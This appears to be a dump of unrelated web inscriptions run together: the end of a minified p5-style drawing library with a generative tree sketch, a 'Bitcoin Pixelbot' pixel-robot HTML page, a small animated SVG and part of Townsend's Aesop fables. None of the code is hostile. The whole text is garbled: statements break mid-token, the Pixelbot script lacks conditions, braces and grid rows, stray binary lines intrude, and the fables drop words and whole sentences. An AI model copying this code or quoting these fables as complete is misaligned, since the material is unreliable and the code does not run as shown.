form();let r=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.globalCompositeOperation=r,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()},n.tint=function(){n._tint=n.color(...Array.from(arguments))},n.noTint=function(){n._tint=null},n.mask=function(e){o.save(),o.resetTransform();let t=o.gloM
balCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeOperation=t,o.restore()},n.clearTemporaryBuffers=function(){h=null,f=null,d=null},n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",(function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t}),!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)},n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.M
save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let r=e.split(".");return n.save(r.slice(0,-1).join("."),r[r.length-1])},n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),r=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const a=document.createElement("style");return a.textContent=r,document.head.append(a),o},n.textFont=function(e){n._style.textFont=e},n.textSize=function(e){n._style.teM
xtSize=e,n._style.textLeading=e},n.textLeading=function(e){n._style.textLeading=e},n.textStyle=function(e){n._style.textStyle=e},n.textAlign=function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)},n.text=function(e,t,r,a){if(!e)return;if(e=e.toString(),n._style.noFill&&n._style.noStroke)return;o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._style.noFill||o.fillText(i[e],t,r,a),n._style.noStroke||o.strokeText(i[e],t,r,a),r+=M
n._style.textLeading},n.textWidth=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).width},n.textAscent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxAscent},n.textDescent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxDescent};var C,S=4,E=.5,A=function(e){return.5*(1-Math.cos(e*Math.PI))};n.noiM
se=function(e,t,n){if(t=t||0,n=n||0,null==C){C=new Array(4096);for(var o=0;o<4096;o++)C[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var r,a,i,l,s,u=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-u,d=t-c,p=n-h,y=0,m=.5,g=0;g<S;g++){var v=u+(c<<4)+(h<<8);r=A(f),a=A(d),i=C[4095&v],i+=r*(C[v+1&4095]-i),l=C[v+16&4095],i+=a*((l+=r*(C[v+16+1&4095]-l))-i),l=C[4095&(v+=256)],l+=r*(C[v+1&4095]-l),s=C[v+16&4095],l+=a*((s+=r*(C[v+16+1&4095]-s))-l),y+=(i+=A(p)*(l-i))*m,m*=E,u<<=1,c<<=1,h<<=1,(f*=2)>=1&&(u++,f--)M
,(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return y},n.noiseDetail=function(e,t){e>0&&(S=e),t>0&&(E=t)};const b=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17,e^=e>>13,((e^=e<<5)>>>0)/n)}};let T=b();T.setSeed(),n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;C||(C=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,C[n]=(t>>>0)/4294967295},n.randomSeed=function(e){T.setSeed(e)},n.random=function(e,t){returM
n null==e?T.rand():"number"==typeof e?null!=t?T.rand()*(t-e)+e:T.rand()*e:e[~~(e.length*T.rand())]},n.randomGenerator=function(e){e==n.LCG?T=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rand:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(T=b()),T.setSeed()};var P=new function(){var e,t,n,o=new Array(128),r=new Array(256),a=new Array(128),i=new Array(128),l=new Array(256),s=new Array(256),u=function(){return 4294967296*T.rand()-2147483648},c=function(M
){return.5+2.328306e-10*(u()<<0)};this.SHR3=u,this.UNI=c,this.RNOR=function(){return n=u(),e=127&n,Math.abs(n)<o[e]?n*a[e]:function(){for(var t,r,l,s,h=3.44262;;){if(t=n*a[e],0==e){do{l=c(),s=c(),t=.2904764*-Math.log(l),r=-Math.log(s)}while(r+r<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=u(),e=127&n,Math.abs(n)<o[e])return n*a[e]}}()},this.REXP=function(){return(t=u()>>>0)<o[e=255&t]?t*l[e]:function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],s[e]+c()*(s[e-M
1]-s[e])<Math.exp(-n))return n;if((t=u())<r[e=255&t])return t*l[e]}}()},this.zigset=function(){var e,t,n=2147483648,u=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,y=.003949659822581572;for(e=f/Math.exp(-.5*c*c),o[0]=Math.floor(c/e*n),o[1]=0,a[0]=e/n,a[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),a[t]=c/n;for(e=y/Math.exp(-d),r[0]=Math.floor(d/e*u),r[1]=0,l[0]=e/u,l[255]=d/u,M
s[0]=1,s[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(y/d+Math.exp(-d)),r[t+1]=Math.floor(d/p*u),p=d,s[t]=Math.exp(-d),l[t]=d/u}};P.hasInit=!1,n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e},n.randomExponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()},n.print=console.log,n.cursor=function(e,t,o){let r="";e.includes(".")&&(e=`url("${e}")`,r=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+r},n.noCursor=function(){n.canvas.style.cursor="none"M
},n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then((function(e){t.srcObject=e})),t.style.position="absolute",t.style.opacity=1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let D=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of D){let t="_"+e+"Fn";n[t]=function(M
){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(r=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),_(),a=!0,n.push(),n._drawFn(),n.pop(),++n.frameCount}function k(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,r=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/r,id:e.identifier}}function O(){return n._touchStarted.isPlaceHolder&&n._touchMoved.isPlaceHoldM
er&&n._touchEnded.isPlaceHolder}n.noLoop=function(){n._noLoop=!0,r=null},n.loop=function(){n._noLoop=!1,null==r&&z()},n.redraw=function(){z()},n.frameRate=function(e){n._frameRate=e},setTimeout((function(){n._preloadFn(),c=window.performance.now(),function e(){if(s>0)return setTimeout(e,10);n._setupFn(),z()}()}),1),n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)},n.canvas.onmousedown=function(e){n.pM
mouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)},n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)},n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1},window.addEventListener("keydown",(funM
ction(e){n.keyIsPressed=!0,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)})),window.addEventListener("keyup",(function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!1,n._keyReleasedFn(e)})),n.keyIsDown=function(e){return!!u[e]},n.canvas.ontouchstart=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||eM
.preventDefault()),n._touchStartedFn(e)||e.preventDefault()},n.canvas.ontouchmove=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()},n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPM
ressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()},n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPermission),n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then((e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then((e=>{"granted"==e&&(n.hasSensorPermissM
ion=!0)})).catch(alert)})).catch(alert)},window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,n.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.reM
lRotationZ=n.rotationZ},window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13]M
,e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]M
*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e),0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}},n.year=function(){return(new Date).getFullYear()},n.day=functionM
(){return(new Date).getDay()},n.hour=function(){return(new Date).getHours()},n.minute=function(){return(new Date).getMinutes()},n.second=function(){return(new Date).getSeconds()},n.millis=function(){return window.performance.now()-c}}(e)}function t(){let e=l(0,1);return e+=.618033988749895,e%=1,color(floor(360*e),i(10,100),i(10,100))}function n(e){e.sort((function(e,t){return e.width>t.width?-1:e.width<t.width?1:0}))}function o(e,t,n,o,r,a,i,s,u){let c=[];for(let h=e;h<t;h+=s)c.push({start:createVector(h,r),end:creM
ateVector(h,r+a*(1-l(0,i))),width:n*(1-l(0,o)),color:u});return c}function r(e,t,n,o,a,s,u){let c=createVector(e.x+t*cos(n),e.y+t*sin(n)),h=[{start:e,end:c,width:o,color:s[i(0,s.length-1)]}];if(u<i(6,12)){let e=t/l(1.3,1.6),i=o/l(1.1,1.6);h.push(...r(c,e,n+a,i,a,s,u+1)),h.push(...r(c,e,n-a,i,a,s,u+1))}return h}function a(e){for(let t=0;t<e.length;t++){let n=e[t].width;stroke(e[t].color),strokeWeight(.9*n),line(e[t].start.x,e[t].start.y,e[t].end.x,e[t].end.y)}}function i(e,t){return e=Math.ceil(e),t=Math.floor(t),MaM
th.floor(c()*(t-e+1))+e}function l(e,t){return c()*(t-e)+e}function s(e,t,n,o){return function(){var r=(e>>>=0)+(t>>>=0)|0;return e=t^t>>>9,t=(n>>>=0)+(n<<3)|0,n=(n=n<<21|n>>>11)+(r=r+(o=(o>>>=0)+1|0)|0)|0,(r>>>0)/4294967296}}function u(e){for(var t=0,n=1779033703^e.length;t<e.length;t++)n=(n=Math.imul(n^e.charCodeAt(t),3432918353))<<13|n>>>19;return function(){return n=Math.imul(n^n>>>16,2246822507),n=Math.imul(n^n>>>13,3266489909),(n^=n>>>16)>>>0}}"object"==typeof exports&&"undefined"!=typeof module&&(module.expoM
rts=e),new e("global");let c,h="m/71233/0/1/0",f="025b20e79026cfb4fb29cfe7a7b028be617755c9be8517b8b3923121ec2ae0bd3d";function setup(){createCanvas(windowWidth,windowHeight),colorMode(HSB,360,100,100);let e=u(f.slice(2));c=s(e(),e(),e(),e());let d=i(2,6),p=[];for(let e=0;e<d-1;e++)p.push(t());let y,m,g=p[i(0,p.length-1)];do{y=t(),m=Math.abs(hue(y)-hue(g)),m+=Math.abs(saturation(y)-saturation(g)),m+=Math.abs(brightness(y)-brightness(g))}while(m<180);background(y);for(let e=0;e<=width;e+=i(0,15))for(let t=0;t<=heightM
;t+=i(0,15)){let n=i(10,20);push(),translate(e,t),rotate(l(0,2*PI)),beginShape(),noStroke(),fill(hue(y)+i(-2,2),saturation(y)+i(-2,2),brightness(y)+i(-2,2));for(let e=0;e<2*PI;e+=.1){let t=cos(e)*n,o=sin(e)*n;vertex(t,o)}endShape(CLOSE),pop()}let v=l(.1,.6),M=(height+width)/150,_=(height+width)/50,x=i(M,_),w=.7+(x-M)/(_-M)*(.9-.7),R=i((height+width)/14,(height+width)/8),I=o(0,width,i(x/4,x/2),l(.2,1),height,-x*l(.5,1.5),l(.2,1),i(x/4,x/2),g),C=r(createVector(width/2,height),R,-PI/2,x,v,p,0);n(C),n(I);let S=(width+hML
eight)/15;stroke(g),strokeWeight(S/50),noFill(),ellipse(width-S,S,S,S),fill(g),noStroke(),ellipse(width-S,S,S*w,S*w),a(C,!1),a(I,!1),textFont("Courier New");let E=(width+height)/150;textSize(E),strokeWeight(1),stroke(g),textStyle(NORMAL);let A=h.slice(2).split("/");for(let e=0;e<A.length;e++)text("/"+A[e],4,E+e*E)}</script></html>h!
text/html;charset=utf-8
        <title>Bitcoin Pixelbot</title>
            let alphabet = "123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"
              , tokenHash = window.location.href.split("/").find(t=>t.includes("i0")) || "0x" + [...Array(64)].map((t,n)=>alphabet[Math.random() * alphabet.length | 0]).join("");
            class Random {
                constructor() {
                    this.useA = !1;
                    let t = function(t) {
                  let n = parseInt(t.substr(0, 8), 16)
                          , r = parseInt(t.substr(8, 8), 16)
                          , s = parseInt(t.substr(16, 8), 16)
                          , e = parseInt(t.substr(24, 8), 16);
                        return function() {
                            s |= 0;
                            let t = ((n |= 0) + (r |= 0) | 0) + (e |= 0) | 0;
                            return e = e + 1 | 0,
                            n = r ^ r >>> 9,
           r = s + (s << 3) | 0,
                            s = (s = s << 21 | s >>> 11) + t | 0,
                            (t >>> 0) / 4294967296
                        }
                    };
                    this.prngA = new t(tokenHash.substr(2, 32)),
                    this.prngB = new t(tokenHash.substr(34, 32));
                    for (let n = 0; n < 1e6; n += 2)
                        this.prngA(),
                        this.prngB()
                random_dec() {
                   return this.useA = !this.useA,
                    this.useA ? this.prngA() : this.prngB()
                random_num(t, n) {
                    return t + (n - t) * this.random_dec()
                random_int(t, n) {
                    return Math.floor(this.random_num(t, n + 1))
            let R = new Random;
        <canvas id='c'>
            <script>
              console.log("P1xelboy 202M
              var canvas = document.getElementById("c");
              var ctx = c.getContext("2d");
              iw = window.innerWidth,
              wid = iw < 1 * (ih = window.innerHeight) ? iw : ih,
              hi = iw < 1 * ih ? iw  : ih,
              ctx.canvas.width = wid,
              ctx.canvas.height = hi;
              let hash = R.random_dec()
              let bgHash = R.random_dec()
              let mouthHash = R.random_dec()
              let eyeHash = R.random_dec()M
              let eyes = R.random_dec()
              let bodyHash = (Math.floor(R.random_dec()*5));
              let gran = R.random_dec()
              var eyeCl
              var eyeDir
              var pal
              var mouthCl
              var bgCl
              var cl=[];
              if (mouthHash > 0.86) mouthCl = "#000000"
else if (mouthHash > 0.74) mouthCl = "#444444"
else if (mouthHash > 0.6) mouthCl = "#777777"
else if (mouthHash > 0.45) mouthCl = "#440000"
else if (mouthHash > M
0.35) mouthCl = "#d7d7d7"
else if (mouthHash > 0.25) mouthCl = "#a77044"
else if (mouthHash > 0.15) mouthCl = "#D6AF36"
else mouthCl = "#AAAAAA"
if (eyeHash > 0.80) eyeCl = "#000000"
else if (eyeHash > 0.60) eyeCl = "#222222"
else if (eyeHash > 0.40) eyeCl = "#330000"
else if (eyeHash > 0.20) eyeCl = "#003300"
else eyeCl = "#000033"
if (bgHash > 0.70) bgCl = "#000000"
else if (bgHash > 0.55) bgCl = "#161616"
else if (bgHash > 0.40) bgCl = "#220000"
else if (bgHash > 0.20) bgCl = "#002200"
if (hash > 0.97) cl[0]='#222222', cl[1]='#44313d' ,cl[2]='#fca311', cl[3]='#aaaaaa', cl[4]='#eeeeee', cl[5]='#000000'
else if (hash > 0.95) cl[0]='#5bc0eb', cl[1]='#fde74c' ,cl[2]='#9bc53d', cl[3]='#e55934', cl[4]='#fa7921', cl[5]='#000000'
else if (hash > 0.9) cl[0]='#ff00c1', cl[1]='#9600ff' ,cl[2]='#4900ff', cl[3]='#00b8ff', cl[4]='#00fff9', cl[5]='#000000'
else if (hash > 0.85) cl[0]='#0b3954', cl[1]='#bfd7ea', cl[2]='#ff6663', cl[3]='#e0ff4f', cl[4]='#dddddd', cl[5]='#000000'
> 0.80) cl[0]='#d81159', cl[1]='#8f2d56' ,cl[2]='#218380', cl[3]='#fbb13c', cl[4]='#73d2de', cl[5]='#000000'
else if (hash > 0.75) cl[0]='#2b2d42', cl[1]='#edf2f4' ,cl[2]='#ef233c', cl[3]='#d90429', cl[4]='#b2c2c9', cl[5]='#000000'
else if (hash > 0.7) cl[0]='#da8c2f', cl[1]='#d7bc8a', cl[2]='#d16a65', cl[3]='#8fdccd', cl[4]='#51c8be', cl[5]='#000000'
else if (hash > 0.65) cl[0]='#d72638', cl[1]='#3f88c5', cl[2]='#f49d37', cl[3]='#5a576c', cl[4]='#f22b29', cl[5]='#000000'
else if (hash > 0.6) cl[0]='#2e294e', cM
l[1]='#efbcd5', cl[2]='#be97c6', cl[3]='#8661c1', cl[4]='#4b5267', cl[5]='#000000'
else if (hash > 0.55) cl[0]='#E3E8EA', cl[1]='#222222', cl[2]='#9BA8AE', cl[3]='#707A7E', cl[4]='#495054', cl[5]='#000000'
else if (hash > 0.5) cl[0]='#9b8816', cl[1]='#f98948', cl[2]='#5d3a00', cl[3]='#684e32', cl[4]='#f9ea9a', cl[5]='#000000'
else if (hash > 0.45) cl[0]='#c2e812', cl[1]='#91f5ad', cl[2]='#8b9eb7', cl[3]='#745296', cl[4]='#632a50', cl[5]='#000000'
else if (hash > 0.4) cl[0]='#b9e3c6', cl[1]='#59c9a5', cl[2]='#d8M
1e5b', cl[3]='#23395b', cl[4]='#fffd98', cl[5]='#000000'
else if (hash > 0.35) cl[0]='#242323', cl[1]='#3a4e48', cl[2]='#6a7b76', cl[3]='#8b9d83', cl[4]='#beb0a7', cl[5]='#000000'
else if (hash > 0.3) cl[0]='#EEF8FF', cl[1]='#D1F5FF', cl[2]='#78E3FD', cl[3]='#34F6F2', cl[4]='#7D53DE', cl[5]='#000000'
else if (hash > 0.25) cl[0]='#582936', cl[1]='#8c2f39', cl[2]='#b23a48', cl[3]='#fcb9b2', cl[4]='#fed0bb', cl[5]='#000000'
else if (hash > 0.21) cl[0]='#073b3a', cl[1]='#0b6e4f', cl[2]='#08a045', cl[3]='#6bbf59', cM
l[4]='#ddb771', cl[5]='#000000'
else if (hash > 0.16) cl[0]='#022b3a', cl[1]='#1f7a8c', cl[2]='#bfdbf7', cl[3]='#e1e5f2', cl[4]='#eeeeee', cl[5]='#000000'
else if (hash > 0.11) cl[0]='#c1edcc', cl[1]='#b0c0bc', cl[2]='#a7a7a9', cl[3]='#797270', cl[4]='#453f3c', cl[5]='#000000'
else if (hash > 0.05) cl[0]='#780116', cl[1]='#f7b538', cl[2]='#db7c26', cl[3]='#d8572a', cl[4]='#c32f27', cl[5]='#000000'
else cl[0]='#072ac8', cl[1]='#1e96fc', cl[2]='#a2d6f9', cl[3]='#fcf300', cl[4]='#ffc600', cl[5]='#000000'
if (eyes > 0.85) var colors = {
    6: cl[bodyHash],
  else if (eyes > 0.70) var colors = {
      5: cl[bodyHash],
eyes > 0.35) var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
 else {var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0M
[0,0,0,0,0,0,0,0,4,7,1,1,7,1,1,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,7,2,8,7,2,8,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,10,3,10,3,10,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,3,10,3,10,3,7,7,0,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,7,7,7,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,5,5,5,5,5,5,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,0,7,0,7,7,5,7,7,7,7,5,7,0,7,0,0,0,0,0,0],
7,7,5,5,5,5,5,7,7,0,4,4,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,5,7,7,7,7,5,7,0,7,7,0,0,0,0,0],
[0,0,0,0,7,7,7,0,7,5,5,5,5,5,5,7,7,0,7,7,7,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,7,0,7,0,7,7,7,7,7,7,7,7,7,0,7,0,7,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0]M
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,7,7,7,7,0,7,7,7,7,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,4,4,4,0,4,4,4,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]];
  for (var j = 0; j <= 24; j++) {
    for (var i = 0; i <= 24; i++) {
      if( pixelArt[j][i] > 0 ){
        ctx.fillStyle = colors[pixelArt[j][i]];
        ctx.fillRect(posX, posY, w1, h1);
      ctx.fillStyle = bgCl;
      ctx.fillRect(posX, posY,M
      posX = posX + w1;
    posY = posY + h1;
              draw();
            </script>
                margin: 0;
                display: flex;
                justify-content: center;
                align-items: center;
+&.%#%.&D5//5DNB>BN_UU_wqw
+&.%#%.&D5//5DNB>BN_UU_wqw
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
translated by George Fyler Townsend
The Wolf And The Lamb
WOLF, meeting with a Lamb astray from the fold, resolved not to lay
violent hands on him, but to find some plea to justify to the Lamb the
s right to eat him. He thus addressed him:
Sirrah, last year you
grossly insulted me.
 bleated the Lamb in a mournful tone
I was not then born.
 Then said the Wolf,
 Again said the Wolf,
You drink of my well.
I never yet drank water, for as yet my mother
 Upon which the Wolf seized him and ate him up, saying,
t remain supperless, even though you refute every one of my
 The tyrant will always find a pretext for his tyranny.
The Bat And The Weasels
A BAT who fell upon the ground and was caught by a Weasel pleaded to be
 life. The Weasel refused, saying that he was by nature the
enemy of all birds. The Bat assured him that he was not a bird, but a
mouse, and thus was set free. Shortly afterwards the Bat again fell to
the ground and was caught by another Weasel, whom he likewise entreated
not to eat him. The Weasel said that he had a special hostility to
mice. The Bat assured him that he was not a mouse, but a bat, and thus a
second time escaped.
It is wise to turn circumstances to good account.
AN ASS having heard some Grasshoppers chirping, was highly enchanted;
and, desiring to possess the same charms of melody, demanded what sort
of food they lived on to give them such beautiful voices. They replied,
 The Ass resolved that he would live only upon dew, and in a
short time died of hunger.
The Lion And The Mouse
A LION was awakened from sleep by a Mouse running over his face. Rising
up angrily, he caught him and was about to kill him, when the Mouse
If you would only spare my life, I would
be sure to repay your kindness.
 The Lion laughed and let him go. It
happened shortly after this that the Lion was caught by some hunters,
who bound him by strong ropes to the ground. The Mouse, recognizing
his roar, came and gnawed the rope with his teeth, and set him free,
